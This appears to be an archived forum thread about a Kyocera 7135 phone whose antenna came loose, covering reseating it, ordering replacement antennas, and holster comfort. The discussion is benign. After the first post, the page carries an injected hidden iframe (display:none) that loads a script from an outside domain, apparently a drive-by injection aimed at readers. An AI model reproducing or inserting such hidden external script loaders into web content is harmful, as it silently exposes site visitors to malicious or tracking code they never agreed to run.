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    Broken antenna-not, I think

    My antenna pulled right out of the phone. Thought it had broken. Then I noticed a screw at the anchor end. I pushed antenna back, turned in direction of tightening screw, and it's reseated. I'll write back if there are signal performance issues.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    Search is my friend,

    So, this happened to me yesterday. I've had my 7135 (Phred is his name) for a couple of weeks now, and it doesn't seem to coexist peacefully with the seat belt in my car (I use the holster, and usually hook it on my pocket, since I rarely wear a belt.

    Yesterday, I unbuckled my seat belt, and ejected the 7135 from the holster for about the 3rd time. Annoying, but I'll get used to it soon, I hope. However, this time, when I was outside the car, putting him back in the holster, I noticed the antenna was gone! Panic! My baby is wounded!

    I immediately found the antenna on the ground next to the car (Huh? How did it get outside the car?), and screwed it back in, no problem. Everything is good--no permanent damage. Note: I couldn't use my old Startac antenna wrench because the screwey part (sorry to get technical is recessed so far on the 7135.

    The interesting part was that using a long thin screwdriver to tighten the antenna, I felt a distinct change in resistance just before the antenna seated firmly (contact being made, I imagined?). And, today it seems that most places in my house I have an extra bar on my signal strength indicator. (I usually have no bars or one bar, and now I seem to have one or two.)

    Maybe--I'm extremely suggestible (I like to think I have a firm control over reality--who's in charge here, after all? , so I might be imagining it.

    Anyway, you might want to snug up those antennae, boys and girls. Are spares available, yet?

    St

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    Yes ant spares are availible and it was one of the first things I ordered from Kyocera. Comes with a little tool to help install or tighten it. The rest of my stuff I got from Danscellphones

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    Yes, the Kyo online store lists a "Replacement Antenna."

    Glad your phone is safe! I dropped mine onto a carpeted floor the other day, and boy was I freaked! Luckily, it was fine.

    Not to comment on phone-wearing choices , but one thing I find about the belt holster-- It seems to work just as well without the belt. I use my phone as an MP3 player while jogging, and have experimented with pockets, etc., and what I find is that the nice big hook on the end does a good job in the waistband of most pants, shorts, sweats, etc..

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    > Not to comment on phone-wearing
    > choices , but one thing I find about
    > the belt holster-- It seems to work
    > just as well without the belt.

    Actually, tuboCat, I lied about the non-belt issue. Truth is, that plastic clip is too uncomfortable when I sit down, on or off of a belt. Probably something to do with the fact that I'm old and fat. ;-( The old 6035 leather pouch clip didn't dig into me like this one does, so I clip it on my pocket. I hope the Kyocera's 7135 pouch uses the same clip as the 6035, but I haven't seen one, yet.

    St

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